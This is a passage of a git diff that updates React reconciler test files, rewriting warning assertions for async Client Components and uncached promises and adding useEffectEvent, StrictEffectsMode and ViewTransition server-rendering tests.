+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput(
       <>
         <div>Async (function component)</div>
@@ -1656,7 +1831,6 @@ describe('ReactUse', () => {
     expect(root).toMatchRenderedOutput('C');
   });
 
-  // @gate !forceConcurrentByDefaultForTesting
   it('an async component outside of a Suspense boundary crashes with an error (resolves in microtask)', async () => {
     class ErrorBoundary extends React.Component {
       state = {error: null};
@@ -1676,39 +1850,41 @@ describe('ReactUse', () => {
     }
 
     const root = ReactNoop.createRoot();
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <ErrorBoundary>
-            <AsyncClientComponent />
-          </ErrorBoundary>,
-        );
-      });
-    }).toErrorDev([
-      'async/await is not yet supported in Client Components, only ' +
-        'Server Components. This error is often caused by accidentally ' +
-        "adding `'use client'` to a module that was originally written " +
-        'for the server.',
+    await act(async () => {
+      root.render(
+        <ErrorBoundary>
+          <AsyncClientComponent />
+        </ErrorBoundary>,
+      );
+    });
+    assertConsoleErrorDev([
+      '<AsyncClientComponent> is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        "This error is often caused by accidentally adding `'use client'` " +
+        'to a module that was originally written for the server.\n' +
+        '    in AsyncClientComponent (at **)',
     ]);
     assertLog([
-      'async/await is not yet supported in Client Components, only Server ' +
-        'Components. This error is often caused by accidentally adding ' +
+      'An unknown Component is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        'This error is often caused by accidentally adding ' +
         "`'use client'` to a module that was originally written for " +
         'the server.',
-      'async/await is not yet supported in Client Components, only Server ' +
-        'Components. This error is often caused by accidentally adding ' +
+      'An unknown Component is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        'This error is often caused by accidentally adding ' +
         "`'use client'` to a module that was originally written for " +
         'the server.',
     ]);
     expect(root).toMatchRenderedOutput(
-      'async/await is not yet supported in Client Components, only Server ' +
-        'Components. This error is often caused by accidentally adding ' +
+      'An unknown Component is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        'This error is often caused by accidentally adding ' +
         "`'use client'` to a module that was originally written for " +
         'the server.',
     );
   });
 
-  // @gate !forceConcurrentByDefaultForTesting
   it('an async component outside of a Suspense boundary crashes with an error (resolves in macrotask)', async () => {
     class ErrorBoundary extends React.Component {
       state = {error: null};
@@ -1729,33 +1905,36 @@ describe('ReactUse', () => {
     }
 
     const root = ReactNoop.createRoot();
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <ErrorBoundary>
-            <AsyncClientComponent />
-          </ErrorBoundary>,
-        );
-      });
-    }).toErrorDev([
-      'async/await is not yet supported in Client Components, only ' +
-        'Server Components. This error is often caused by accidentally ' +
-        "adding `'use client'` to a module that was originally written " +
-        'for the server.',
+    await act(async () => {
+      root.render(
+        <ErrorBoundary>
+          <AsyncClientComponent />
+        </ErrorBoundary>,
+      );
+    });
+    assertConsoleErrorDev([
+      '<AsyncClientComponent> is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        "This error is often caused by accidentally adding `'use client'` " +
+        'to a module that was originally written for the server.\n' +
+        '    in AsyncClientComponent (at **)',
     ]);
     assertLog([
-      'async/await is not yet supported in Client Components, only Server ' +
-        'Components. This error is often caused by accidentally adding ' +
+      'An unknown Component is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        'This error is often caused by accidentally adding ' +
         "`'use client'` to a module that was originally written for " +
         'the server.',
-      'async/await is not yet supported in Client Components, only Server ' +
-        'Components. This error is often caused by accidentally adding ' +
+      'An unknown Component is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        'This error is often caused by accidentally adding ' +
         "`'use client'` to a module that was originally written for " +
         'the server.',
     ]);
     expect(root).toMatchRenderedOutput(
-      'async/await is not yet supported in Client Components, only Server ' +
-        'Components. This error is often caused by accidentally adding ' +
+      'An unknown Component is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        'This error is often caused by accidentally adding ' +
         "`'use client'` to a module that was originally written for " +
         'the server.',
     );
@@ -1771,25 +1950,26 @@ describe('ReactUse', () => {
       }
 
       const root = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          startTransition(() => {
-            root.render(<AsyncClientComponent />);
-          });
+      await act(() => {
+        startTransition(() => {
+          root.render(<AsyncClientComponent />);
         });
-      }).toErrorDev([
+      });
+      assertConsoleErrorDev([
         // Note: This used to log a different warning about not using hooks
         // inside async components, like we do on the server. Since then, we
         // decided to warn for _any_ async client component regardless of
         // whether the update is sync. But if we ever add back support for async
         // client components, we should add back the hook warning.
-        'async/await is not yet supported in Client Components, only Server ' +
-          'Components. This error is often caused by accidentally adding ' +
-          "`'use client'` to a module that was originally written for " +
-          'the server.',
-        'A component was suspended by an uncached promise. Creating ' +
-          'promises inside a Client Component or hook is not yet ' +
-          'supported, except via a Suspense-compatible library or framework.',
+        '<AsyncClientComponent> is an async Client Component. ' +
+          'Only Server Components can be async at the moment. ' +
+          "This error is often caused by accidentally adding `'use client'` " +
+          'to a module that was originally written for the server.\n' +
+          '    in AsyncClientComponent (at **)',
+        'A component was suspended by an uncached promise. ' +
+          'Creating promises inside a Client Component or hook is not yet supported, ' +
+          'except via a Suspense-compatible library or framework.\n' +
+          '    in AsyncClientComponent (at **)',
       ]);
     },
   );
@@ -1803,28 +1983,30 @@ describe('ReactUse', () => {
     }
 
     const root = ReactNoop.createRoot();
-    await expect(async () => {
-      await act(() => {
-        startTransition(() => {
-          root.render(<AsyncClientComponent />);
-        });
+    await act(() => {
+      startTransition(() => {
+        root.render(<AsyncClientComponent />);
       });
-    }).toErrorDev([
+    });
+    assertConsoleErrorDev([
       // Note: This used to log a different warning about not using hooks
       // inside async components, like we do on the server. Since then, we
       // decided to warn for _any_ async client component regardless of
       // whether the update is sync. But if we ever add back support for async
       // client components, we should add back the hook warning.
-      'async/await is not yet supported in Client Components, only Server ' +
-        'Components. This error is often caused by accidentally adding ' +
-        "`'use client'` to a module that was originally written for " +
-        'the server.',
-      'A component was suspended by an uncached promise. Creating ' +
-        'promises inside a Client Component or hook is not yet ' +
-        'supported, except via a Suspense-compatible library or framework.',
-      'A component was suspended by an uncached promise. Creating ' +
-        'promises inside a Client Component or hook is not yet ' +
-        'supported, except via a Suspense-compatible library or framework.',
+      '<AsyncClientComponent> is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        "This error is often caused by accidentally adding `'use client'` " +
+        'to a module that was originally written for the server.\n' +
+        '    in AsyncClientComponent (at **)',
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in AsyncClientComponent (at **)',
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in AsyncClientComponent (at **)',
     ]);
   });
 
@@ -1842,32 +2024,38 @@ describe('ReactUse', () => {
     }
 
     const root = ReactNoop.createRoot();
-    await expect(async () => {
-      await act(() => {
-        startTransition(() => {
-          root.render(<App />);
-        });
+    await act(() => {
+      startTransition(() => {
+        root.render(<App />);
       });
-    }).toErrorDev([
-      'async/await is not yet supported in Client Components, only ' +
-        'Server Components. This error is often caused by accidentally ' +
-        "adding `'use client'` to a module that was originally written " +
-        'for the server.',
+    });
+    assertConsoleErrorDev([
+      '<App> is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        "This error is often caused by accidentally adding `'use client'` " +
+        'to a module that was originally written for the server.\n' +
+        '    in App (at **)',
     ]);
     assertLog(['Async text requested [Hi]']);
 
-    await expect(async () => {
-      await act(() => resolveTextRequests('Hi'));
-    }).toErrorDev(
+    await act(() => resolveTextRequests('Hi'));
+    assertConsoleErrorDev([
       // We get this warning because the generator's promise themselves are not cached.
-      'A component was suspended by an uncached promise. Creating ' +
-        'promises inside a Client Component or hook is not yet ' +
-        'supported, except via a Suspense-compatible library or framework.',
-    );
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
 
     assertLog(['Async text requested [World]']);
 
     await act(() => resolveTextRequests('World'));
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
 
     assertLog(['Hi', 'World']);
     expect(root).toMatchRenderedOutput('Hi World');
@@ -1901,18 +2089,26 @@ describe('ReactUse', () => {
     });
     assertLog(['Async text requested [Hi]']);
 
-    await expect(async () => {
-      await act(() => resolveTextRequests('Hi'));
-    }).toErrorDev(
+    await act(() => resolveTextRequests('Hi'));
+    assertConsoleErrorDev([
       // We get this warning because the generator's promise themselves are not cached.
-      'A component was suspended by an uncached promise. Creating ' +
-        'promises inside a Client Component or hook is not yet ' +
-        'supported, except via a Suspense-compatible library or framework.',
-    );
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in div (at **)\n' +
+        '    in App (at **)',
+    ]);
 
     assertLog(['Async text requested [World]']);
 
     await act(() => resolveTextRequests('World'));
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in div (at **)\n' +
+        '    in App (at **)',
+    ]);
 
     assertLog(['Hi', 'World']);
     expect(root).toMatchRenderedOutput(<div>Hi World</div>);
diff --git a/packages/react-reconciler/src/__tests__/StrictEffectsMode-test.js b/packages/react-reconciler/src/__tests__/StrictEffectsMode-test.js
index bd458b2cd532..0d0287bca612 100644
--- a/packages/react-reconciler/src/__tests__/StrictEffectsMode-test.js
+++ b/packages/react-reconciler/src/__tests__/StrictEffectsMode-test.js
@@ -907,6 +907,9 @@ describe('StrictEffectsMode', () => {
       'Child suspended',
       'Fallback',
       'Fallback',
+      // pre-warming
+      'Child rendered',
+      'Child suspended',
     ]);
 
     log = [];
@@ -928,6 +931,9 @@ describe('StrictEffectsMode', () => {
       'Fallback',
       'Parent dep destroy',
       'Parent dep create',
+      // pre-warming
+      'Child rendered',
+      'Child suspended',
     ]);
 
     log = [];
@@ -937,34 +943,25 @@ describe('StrictEffectsMode', () => {
       shouldSuspend = false;
     });
 
-    if (gate(flags => flags.useModernStrictMode)) {
-      expect(log).toEqual([
-        'Child rendered',
-        'Child rendered',
-        // !!! Committed, destroy and create effect.
-        // !!! The other effect is not destroyed and created
-        // !!! because the dep didn't change
-        'Child dep destroy',
-        'Child dep create',
-
-        // Double invoke both effects
-        'Child destroy',
-        'Child dep destroy',
-        'Child create',
-        'Child dep create',
-        // Fires setState
-        '-----------------------after setState',
-        'Child rendered',
-        'Child rendered',
-        'Child dep create',
-      ]);
-    } else {
-      expect(log).toEqual([
-        'Child rendered',
-        'Child rendered',
-        'Child dep destroy',
-        'Child dep create',
-      ]);
-    }
+    expect(log).toEqual([
+      'Child rendered',
+      'Child rendered',
+      // !!! Committed, destroy and create effect.
+      // !!! The other effect is not destroyed and created
+      // !!! because the dep didn't change
+      'Child dep destroy',
+      'Child dep create',
+
+      // Double invoke both effects
+      'Child destroy',
+      'Child dep destroy',
+      'Child create',
+      'Child dep create',
+      // Fires setState
+      '-----------------------after setState',
+      'Child rendered',
+      'Child rendered',
+      'Child dep create',
+    ]);
   });
 });
diff --git a/packages/react-reconciler/src/__tests__/StrictEffectsModeDefaults-test.internal.js b/packages/react-reconciler/src/__tests__/StrictEffectsModeDefaults-test.internal.js
index c9f65a20a0c7..5829cd090426 100644
--- a/packages/react-reconciler/src/__tests__/StrictEffectsModeDefaults-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/StrictEffectsModeDefaults-test.internal.js
@@ -461,7 +461,6 @@ describe('StrictEffectsMode defaults', () => {
       expect(log).toEqual([]);
     });
 
-    //@gate useModernStrictMode
     it('disconnects refs during double invoking', async () => {
       const onRefMock = jest.fn();
       function App({text}) {
diff --git a/packages/react-reconciler/src/__tests__/ViewTransitionReactServer-test.js b/packages/react-reconciler/src/__tests__/ViewTransitionReactServer-test.js
new file mode 100644
index 000000000000..ea6791864bca
--- /dev/null
+++ b/packages/react-reconciler/src/__tests__/ViewTransitionReactServer-test.js
@@ -0,0 +1,64 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment node
+ */
+
+'use strict';
+
+let act;
+let ViewTransition;
+let React;
+let ReactServer;
+let ReactNoop;
+let ReactNoopFlightClient;
+let ReactNoopFlightServer;
+
+describe('ViewTransitionReactServer', () => {
+  beforeEach(() => {
+    jest.resetModules();
+    jest.mock('react', () => require('react/react.react-server'));
+    ReactServer = require('react');
+    ViewTransition = ReactServer.ViewTransition;
+    ReactNoopFlightServer = require('react-noop-renderer/flight-server');
+
+    jest.resetModules();
+    __unmockReact();
+    React = require('react');
+    ReactNoopFlightClient = require('react-noop-renderer/flight-client');
+    ReactNoop = require('react-noop-renderer');
+    const InternalTestUtils = require('internal-test-utils');
+    act = InternalTestUtils.act;
+  });
+
+  afterEach(() => {
+    jest.restoreAllMocks();
+  });
+
+  // @gate enableViewTransition
+  it('can be rendered in React Server', async () => {
+    function App() {
+      return ReactServer.createElement(
+        ViewTransition,
+        {},
+        ReactServer.createElement('div', null, 'Hello, Dave!'),
+      );
+    }
+
+    const transport = ReactNoopFlightServer.render(
+      ReactServer.createElement(App, null),
+    );
+
+    await act(async () => {
+      const app = await ReactNoopFlightClient.read(transport);
+
+      ReactNoop.render(app);
+    });
+
+    expect(ReactNoop).toMatchRenderedOutput(<div>Hello, Dave!</div>);
+  });
+});
diff --git a/packages/react-reconciler/src/__tests__/useEffectEvent-test.js b/packages/react-reconciler/src/__tests__/useEffectEvent-test.js
index 18e3a532946d..1018b4975ad1 100644
--- a/packages/react-reconciler/src/__tests__/useEffectEvent-test.js
+++ b/packages/react-reconciler/src/__tests__/useEffectEvent-test.js
@@ -8,8 +8,6 @@
  * @jest-environment node
  */
 
-/* eslint-disable no-func-assign */
-
 'use strict';
 
 import {useInsertionEffect} from 'react';
@@ -29,6 +27,7 @@ describe('useEffectEvent', () => {
   let waitForAll;
   let assertLog;
   let waitForThrow;
+  let waitFor;
 
   beforeEach(() => {
     React = require('react');
@@ -39,7 +38,7 @@ describe('useEffectEvent', () => {
     createContext = React.createContext;
     useContext = React.useContext;
     useState = React.useState;
-    useEffectEvent = React.experimental_useEffectEvent;
+    useEffectEvent = React.useEffectEvent;
     useEffect = React.useEffect;
     useLayoutEffect = React.useLayoutEffect;
     useMemo = React.useMemo;
@@ -48,6 +47,7 @@ describe('useEffectEvent', () => {
     waitForAll = InternalTestUtils.waitForAll;
     assertLog = InternalTestUtils.assertLog;
     waitForThrow = InternalTestUtils.waitForThrow;
+    waitFor = InternalTestUtils.waitFor;
   });
 
   function Text(props) {
@@ -55,7 +55,6 @@ describe('useEffectEvent', () => {
     return <span prop={props.text} />;
   }
 
-  // @gate enableUseEffectEventHook
   it('memoizes basic case correctly', async () => {
     class IncrementButton extends React.PureComponent {
       increment = () => {
@@ -131,7 +130,6 @@ describe('useEffectEvent', () => {
     );
   });
 
-  // @gate enableUseEffectEventHook
   it('can be defined more than once', async () => {
     class IncrementButton extends React.PureComponent {
       increment = () => {
@@ -193,7 +191,6 @@ describe('useEffectEvent', () => {
     );
   });
 
-  // @gate enableUseEffectEventHook
   it('does not preserve `this` in event functions', async () => {
     class GreetButton extends React.PureComponent {
       greet = () => {
@@ -243,7 +240,6 @@ describe('useEffectEvent', () => {
     );
   });
 
-  // @gate enableUseEffectEventHook
   it('throws when called in render', async () => {
     class IncrementButton extends React.PureComponent {
       increment = () => {
@@ -277,7 +273,6 @@ describe('useEffectEvent', () => {
     assertLog([]);
   });
 
-  // @gate enableUseEffectEventHook
   it("useLayoutEffect shouldn't re-fire when event handlers change", async () => {
     class IncrementButton extends React.PureComponent {
       increment = () => {
@@ -377,7 +372,6 @@ describe('useEffectEvent', () => {
     );
   });
 
-  // @gate enableUseEffectEventHook
   it("useEffect shouldn't re-fire when event handlers change", async () => {
     class IncrementButton extends React.PureComponent {
       increment = () => {
@@ -476,7 +470,6 @@ describe('useEffectEvent', () => {
     );
   });
 
-  // @gate enableUseEffectEventHook
   it('is stable in a custom hook', async () => {
     class IncrementButton extends React.PureComponent {
       increment = () => {
@@ -581,7 +574,6 @@ describe('useEffectEvent', () => {
     );
   });
 
-  // @gate enableUseEffectEventHook
   it('is mutated before all other effects', async () => {
     function Counter({value}) {
       useInsertionEffect(() => {
@@ -605,7 +597,353 @@ describe('useEffectEvent', () => {
     assertLog(['Effect value: 2', 'Event value: 2']);
   });
 
-  // @gate enableUseEffectEventHook
+  it('fires all (interleaved) effects with useEffectEvent in correct order', async () => {
+    function CounterA({count}) {
+      const onEvent = useEffectEvent(() => {
+        return `A ${count}`;
+      });
+
+      useInsertionEffect(() => {
+        // Call the event function to verify it sees the latest value
+        Scheduler.log(`Parent Insertion Create: ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Parent Insertion Create: ${onEvent()}`);
+        };
+      });
+
+      useLayoutEffect(() => {
+        Scheduler.log(`Parent Layout Create: ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Parent Layout Cleanup: ${onEvent()}`);
+        };
+      });
+
+      useEffect(() => {
+        Scheduler.log(`Parent Passive Create: ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Parent Passive Destroy ${onEvent()}`);
+        };
+      });
+
+      // this breaks the rules, but ensures the ordering is correct.
+      return <CounterB count={count} onEventParent={onEvent} />;
+    }
+
+    function CounterB({count, onEventParent}) {
+      const onEvent = useEffectEvent(() => {
+        return `${onEventParent()} B ${count}`;
+      });
+
+      useInsertionEffect(() => {
+        Scheduler.log(`Child Insertion Create ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Child Insertion Destroy ${onEvent()}`);
+        };
+      });
+
+      useLayoutEffect(() => {
+        Scheduler.log(`Child Layout Create ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Child Layout Destroy ${onEvent()}`);
+        };
+      });
+
+      useEffect(() => {
+        Scheduler.log(`Child Passive Create ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Child Passive Destroy ${onEvent()}`);
+        };
+      });
+
+      return null;
+    }
+
+    await act(async () => {
+      ReactNoop.render(<CounterA count={1} />);
+    });
+
+    assertLog([
+      'Child Insertion Create A 1 B 1',
+      'Parent Insertion Create: A 1',
+      'Child Layout Create A 1 B 1',
+      'Parent Layout Create: A 1',
+      'Child Passive Create A 1 B 1',
+      'Parent Passive Create: A 1',
+    ]);
+
+    await act(async () => {
+      ReactNoop.render(<CounterA count={2} />);
+    });
+
+    assertLog([
+      'Child Insertion Destroy A 2 B 2',
+      'Child Insertion Create A 2 B 2',
+      'Child Layout Destroy A 2 B 2',
+      'Parent Insertion Create: A 2',
+      'Parent Insertion Create: A 2',
+      'Parent Layout Cleanup: A 2',
+      'Child Layout Create A 2 B 2',
+      'Parent Layout Create: A 2',
+      'Child Passive Destroy A 2 B 2',
+      'Parent Passive Destroy A 2',
+      'Child Passive Create A 2 B 2',
+      'Parent Passive Create: A 2',
+    ]);
+
+    // Unmount everything
+    await act(async () => {
+      ReactNoop.render(null);
+    });
+
+    assertLog([
+      'Parent Insertion Create: A 2',
+      'Parent Layout Cleanup: A 2',
+      'Child Insertion Destroy A 2 B 2',
+      'Child Layout Destroy A 2 B 2',
+      'Parent Passive Destroy A 2',
+      'Child Passive Destroy A 2 B 2',
+    ]);
+  });
+
+  it('correctly mutates effect event with Activity', async () => {
+    let setState;
+    let setChildState;
+    function CounterA({count, hideChild}) {
+      const [state, _setState] = useState(1);
+      setState = _setState;
+      const onEvent = useEffectEvent(() => {
+        return `A ${count} ${state}`;
+      });
+
+      useInsertionEffect(() => {
+        // Call the event function to verify it sees the latest value
+        Scheduler.log(`Parent Insertion Create: ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Parent Insertion Create: ${onEvent()}`);
+        };
+      });
+
+      useLayoutEffect(() => {
+        Scheduler.log(`Parent Layout Create: ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Parent Layout Cleanup: ${onEvent()}`);
+        };
+      });
+
+      // this breaks the rules, but ensures the ordering is correct.
+      return (
+        <React.Activity mode={hideChild ? 'hidden' : 'visible'}>
+          <CounterB count={count} state={state} onEventParent={onEvent} />
+        </React.Activity>
+      );
+    }
+
+    function CounterB({count, state, onEventParent}) {
+      const [childState, _setChildState] = useState(1);
+      setChildState = _setChildState;
+      const onEvent = useEffectEvent(() => {
+        return `${onEventParent()} B ${count} ${state} ${childState}`;
+      });
+
+      useInsertionEffect(() => {
+        Scheduler.log(`Child Insertion Create ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Child Insertion Destroy ${onEvent()}`);
+        };
+      });
+
+      useLayoutEffect(() => {
+        Scheduler.log(`Child Layout Create ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Child Layout Destroy ${onEvent()}`);
+        };
+      });
+
+      useEffect(() => {
+        Scheduler.log(`Child Passive Create ${onEvent()}`);
+        return () => {
+          Scheduler.log(`Child Passive Destroy ${onEvent()}`);
+        };
+      });
+
+      return null;
+    }
+
+    await act(async () => {
+      ReactNoop.render(<CounterA count={1} hideChild={true} />);
+      await waitFor([
+        'Parent Insertion Create: A 1 1',
+        'Parent Layout Create: A 1 1',
+        'Child Insertion Create A 1 1 B 1 1 1',
+      ]);
+    });
+
+    assertLog([]);
+
+    await act(async () => {
+      ReactNoop.render(<CounterA count={2} hideChild={true} />);
+
+      await waitFor([
+        'Parent Insertion Create: A 2 1',
+        'Parent Insertion Create: A 2 1',
+        'Parent Layout Cleanup: A 2 1',
+        'Parent Layout Create: A 2 1',
+        ...(gate('enableViewTransition') &&
+        !gate('enableEffectEventMutationPhase')
+          ? [
+              'Child Insertion Destroy A 2 1 B 1 1 1',
+              'Child Insertion Create A 2 1 B 1 1 1',
+            ]
+          : [
+              'Child Insertion Destroy A 2 1 B 2 1 1',
+              'Child Insertion Create A 2 1 B 2 1 1',
+            ]),
+      ]);
+    });
+
+    assertLog([]);
+
+    await act(async () => {
+      setState(2);
+
+      await waitFor([
+        'Parent Insertion Create: A 2 2',
+        'Parent Insertion Create: A 2 2',
+        'Parent Layout Cleanup: A 2 2',
+        'Parent Layout Create: A 2 2',
+        ...(gate('enableViewTransition') &&
+        !gate('enableEffectEventMutationPhase')
+          ? [
+              'Child Insertion Destroy A 2 2 B 1 1 1',
+              'Child Insertion Create A 2 2 B 1 1 1',
+            ]
+          : [
+              'Child Insertion Destroy A 2 2 B 2 2 1',
+              'Child Insertion Create A 2 2 B 2 2 1',
+            ]),
+      ]);
+    });
+
+    assertLog([]);
+
+    await act(async () => {
+      setChildState(2);
+
+      await waitFor(
+        gate('enableViewTransition') && !gate('enableEffectEventMutationPhase')
+          ? [
+              'Child Insertion Destroy A 2 2 B 1 1 1',
+              'Child Insertion Create A 2 2 B 1 1 1',
+            ]
+          : [
+              'Child Insertion Destroy A 2 2 B 2 2 2',
+              'Child Insertion Create A 2 2 B 2 2 2',
+            ],
+      );
+    });
+
+    assertLog([]);
+
+    await act(async () => {
+      ReactNoop.render(<CounterA count={3} hideChild={true} />);
+
+      await waitFor([
+        'Parent Insertion Create: A 3 2',
+        'Parent Insertion Create: A 3 2',
+        'Parent Layout Cleanup: A 3 2',
+        'Parent Layout Create: A 3 2',
+      ]);
+    });
+
+    assertLog(
+      gate('enableViewTransition') && !gate('enableEffectEventMutationPhase')
+        ? [
+            'Child Insertion Destroy A 3 2 B 1 1 1',
+            'Child Insertion Create A 3 2 B 1 1 1',
+          ]
+        : [
+            'Child Insertion Destroy A 3 2 B 3 2 2',
+            'Child Insertion Create A 3 2 B 3 2 2',
+          ],
+    );
+
+    await act(async () => {
+      ReactNoop.render(<CounterA count={3} hideChild={false} />);
+
+      await waitFor([
+        ...(gate('enableViewTransition') &&
+        !gate('enableEffectEventMutationPhase')
+          ? [
+              'Child Insertion Destroy A 3 2 B 1 1 1',
+              'Child Insertion Create A 3 2 B 1 1 1',
+            ]
+          : [
+              'Child Insertion Destroy A 3 2 B 3 2 2',
+              'Child Insertion Create A 3 2 B 3 2 2',
+            ]),
+        'Parent Insertion Create: A 3 2',
+        'Parent Insertion Create: A 3 2',
+        'Parent Layout Cleanup: A 3 2',
+        ...(gate('enableViewTransition') &&
+        !gate('enableEffectEventMutationPhase')
+          ? ['Child Layout Create A 3 2 B 1 1 1']
+          : ['Child Layout Create A 3 2 B 3 2 2']),
+
+        'Parent Layout Create: A 3 2',
+      ]);
+    });
+
+    assertLog(
+      gate('enableViewTransition') && !gate('enableEffectEventMutationPhase')
+        ? ['Child Passive Create A 3 2 B 1 1 1']
+        : ['Child Passive Create A 3 2 B 3 2 2'],
+    );
+
+    await act(async () => {
+      ReactNoop.render(<CounterA count={3} hideChild={true} />);
+
+      await waitFor([
+        ...(gate('enableViewTransition') &&
+        !gate('enableEffectEventMutationPhase')
+          ? ['Child Layout Destroy A 3 2 B 1 1 1']
+          : ['Child Layout Destroy A 3 2 B 3 2 2']),
+        'Parent Insertion Create: A 3 2',
+        'Parent Insertion Create: A 3 2',
+        'Parent Layout Cleanup: A 3 2',
+        'Parent Layout Create: A 3 2',
+        ...(gate('enableViewTransition') &&
+        !gate('enableEffectEventMutationPhase')
+          ? ['Child Passive Destroy A 3 2 B 1 1 1']
+          : ['Child Passive Destroy A 3 2 B 3 2 2']),
+      ]);
+    });
+
+    assertLog(
+      gate('enableViewTransition') && !gate('enableEffectEventMutationPhase')
+        ? [
+            'Child Insertion Destroy A 3 2 B 1 1 1',
+            'Child Insertion Create A 3 2 B 1 1 1',
+          ]
+        : [
+            'Child Insertion Destroy A 3 2 B 3 2 2',
+            'Child Insertion Create A 3 2 B 3 2 2',
+          ],
+    );
+
+    // Unmount everything
+    await act(async () => {
+      ReactNoop.render(null);
+    });
+
+    assertLog([
+      'Parent Insertion Create: A 3 2',
+      'Parent Layout Cleanup: A 3 2',
+      gate('enableViewTransition') && !gate('enableEffectEventMutationPhase')
+        ? 'Child Insertion Destroy A 3 2 B 1 1 1'
+        : 'Child Insertion Destroy A 3 2 B 3 2 2',
+    ]);
+  });
+
   it("doesn't provide a stable identity", async () => {
     function Counter({shouldRender, value}) {
       const onClick = useEffectEvent(() => {
@@ -644,7 +982,6 @@ describe('useEffectEvent', () => {
     ]);
   });
 
-  // @gate enableUseEffectEventHook
   it('event handlers always see the latest committed value', async () => {
     let committedEventHandler = null;
 
@@ -694,7 +1031,6 @@ describe('useEffectEvent', () => {
     expect(committedEventHandler()).toBe('Value seen by useEffectEvent: 2');
   });
 
-  // @gate enableUseEffectEventHook
   it('integration: implements docs chat room example', async () => {
     function createConnection() {
       let connectedCallback;
@@ -783,7 +1119,6 @@ describe('useEffectEvent', () => {
     );
   });
 
-  // @gate enableUseEffectEventHook
   it('integration: implements the docs logVisit example', async () => {
     class AddToCartButton extends React.PureComponent {
       addToCart = () => {
@@ -852,4 +1187,144 @@ describe('useEffectEvent', () => {
     );
     assertLog(['Add to cart', 'url: /shop/2, numberOfItems: 1']);
   });
+
+  it('reads the latest context value in memo Components', async () => {
+    const MyContext = createContext('default');
+
+    let logContextValue;
+    const ContextReader = React.memo(function ContextReader() {
+      const value = useContext(MyContext);
+      Scheduler.log('ContextReader: ' + value);
+      const fireLogContextValue = useEffectEvent(() => {
+        Scheduler.log('ContextReader (Effect event): ' + value);
+      });
+      useEffect(() => {
+        logContextValue = fireLogContextValue;
+      }, []);
+      return null;
+    });
+
+    function App({value}) {
+      return (
+        <MyContext.Provider value={value}>
+          <ContextReader />
+        </MyContext.Provider>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+    await act(() => root.render(<App value="first" />));
+    assertLog(['ContextReader: first']);
+
+    logContextValue();
+
+    assertLog(['ContextReader (Effect event): first']);
+
+    await act(() => root.render(<App value="second" />));
+    assertLog(['ContextReader: second']);
+
+    logContextValue();
+    assertLog(['ContextReader (Effect event): second']);
+  });
+
+  it('reads the latest context value in forwardRef Components', async () => {
+    const MyContext = createContext('default');
+
+    let logContextValue;
+    const ContextReader = React.forwardRef(function ContextReader(props, ref) {
+      const value = useContext(MyContext);
+      Scheduler.log('ContextReader: ' + value);
+      const fireLogContextValue = useEffectEvent(() => {
+        Scheduler.log('ContextReader (Effect event): ' + value);
+      });
+      useEffect(() => {
+        logContextValue = fireLogContextValue;
+      }, []);
+      return null;
+    });
+
+    function App({value}) {
+      return (
+        <MyContext.Provider value={value}>
+          <ContextReader />
+        </MyContext.Provider>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+    await act(() => root.render(<App value="first" />));
+    assertLog(['ContextReader: first']);
+
+    logContextValue();
+
+    assertLog(['ContextReader (Effect event): first']);
+
+    await act(() => root.render(<App value="second" />));
+    assertLog(['ContextReader: second']);
+
+    logContextValue();
+    assertLog(['ContextReader (Effect event): second']);
+  });
+
+  // @gate enableActivity
+  it('effect events are fresh inside Activity', async () => {
+    function Child({value}) {
+      const getValue = useEffectEvent(() => {
+        return value;
+      });
+      useInsertionEffect(() => {
+        Scheduler.log('insertion create: ' + getValue());
+        return () => {
+          Scheduler.log('insertion destroy: ' + getValue());
+        };
+      });
+      useLayoutEffect(() => {
+        Scheduler.log('layout create: ' + getValue());
+        return () => {
+          Scheduler.log('layout destroy: ' + getValue());
+        };
+      });
+
